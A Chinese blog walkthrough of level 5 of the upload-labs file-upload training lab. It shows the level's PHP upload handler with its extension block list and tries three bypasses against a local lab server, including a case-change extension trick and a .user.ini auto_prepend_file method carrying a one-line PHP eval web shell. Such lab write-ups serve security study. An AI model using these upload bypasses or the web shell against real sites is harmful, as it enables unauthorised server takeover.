upload-labs-master-Pass-05

Rex_law
167 阅读1分钟 
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

这一关$deny_ext 黑名单更多了 连.htaccess都加上了

image.png

方法一 这里尝试使用大小写绕过

image.png

image.png

有这个报错说明解析成功

http://192.168.31.33/upload-labs-master/upload/202306290933171341.PHP

image.png

image.png

大小写绕过成功

方法二 通过16进制符号 修改文件名从 jpg 变成 php

blog.csdn.net/qq_43613772… 抓包发送到repeater

image.png

image.png

依然提示不能上传该类型

方法三 上传.user.ini

blog.csdn.net/qq_43613772… image.png

http://192.168.31.33/upload-labs-master/upload/202306291001162772.jpg

.user.ini

GIF89a                  
auto_prepend_file=202306291001162772.jpg

a.jpg

GIF89a
<script language='php'> @eval($_POST['pass']);</script>

http://192.168.31.33/upload-labs-master/upload/202306291004482250.ini

但是我上传后的文件名称都改变了 无法引用,尤其是.user.ini 直接改成了202306291004482250.ini

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